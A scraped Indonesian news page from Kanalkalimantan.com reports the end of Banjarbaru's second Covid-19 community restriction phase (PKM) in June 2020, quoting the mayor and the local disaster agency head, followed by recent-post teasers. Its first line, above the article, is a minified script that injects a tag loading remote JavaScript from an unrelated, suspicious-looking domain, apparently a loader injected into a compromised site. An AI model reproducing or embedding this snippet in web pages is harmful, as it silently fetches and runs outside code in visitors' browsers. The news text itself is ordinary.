(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

Pemberlakuan PKM Jilid II di Kota Banjarbaru Berakhir!


KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru telah memutuskan mengakhiri masa pemberlakuan Pembatasan Kegiatan Masyarakat (PKM) jilid II, pada Jumat (26/6/2020).

Sebagaimana diketahui, PKM yang merupakan fase lanjutan dari PSBB, bertujuan mendisplinkan perilaku masyarakat untuk menerapkan protokol kesehatan di tengah fenoma pandemi Covid-19.

Wali Kota Banjarbaru, Nadjmi Adhani, mengatakan berakhirnya PKM bukan menunjukan bahwa ancaman Covid-19 telah berhasil ditangani. Justru, hal ini menjadi awal dimulainya fase ketiga upaya penanganan Covid-19.

“Fase ketiga setelah PSBB dan PKM adalah menjalankan tugas fungsional SKPD yang terlibat. Kalau saat PSBB dan PKM upaya pengawasan dan pendisiplinan dilakukan secara bersama-sama. Nah, di fase ketiga ini, pendisiplinan dilakukan oleh masing-masing SKPD yang terlibat,” kata Nadjmi

Meski pengawasan dan pendispilinan dilakukan masing-masing SKPD, namun pelaksanaan tugas fungsional tersebut tetap akan dikomandoi oleh tim Gugus Tugas Percepatan Penanganan Covid-19.

Nadjmi belum bicara secara blak-blakan ihwal rencana memasuki fase New Normal. Namun begitu, dirinya mengklaim bahwa secara umumnya masyarakat sudah siap jika nantinya Kota Banjarbaru untuk menerapaan New Normal. “Sebenarnya kita siap ke sana -new normal, melihat masyarakat secara umumnya sudah disiplin untuk melaksanakan protokol kesehatan, itu sudah mulai kelihatan,” akunya.

Sementara, Kepala Pelaksana Harian BPBD Banjarbaru, Zaini Syahranie menambahkan bahwa bahwa kedisiplinan masyarakat Banjarbaru terus meningkat. Khususnya selama fase PKM digelar hingga dua kali. “Dari PKM ini sangat luar biasa, masyarakat mulai sadar soal pentingnya protokol kesehatan, termasuk penggunaan masker. Meskipun sebagian kecil masih ada catatan kita soal penggunaan protokol kesehatan ini,” klaim Zaini.

Ia sendiri menekankan kepada masyarakat agar terus mengedepankan protokol kesehatan pencegahan Covid-19 meski bukan di fase PKM lagi. “Hal ini agar kita bersama-sama bisa siap menyambut normal yang baru,” lugasnya. (Kanalkalimantan.com/rico)

Reporter : Rico
Editor : Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.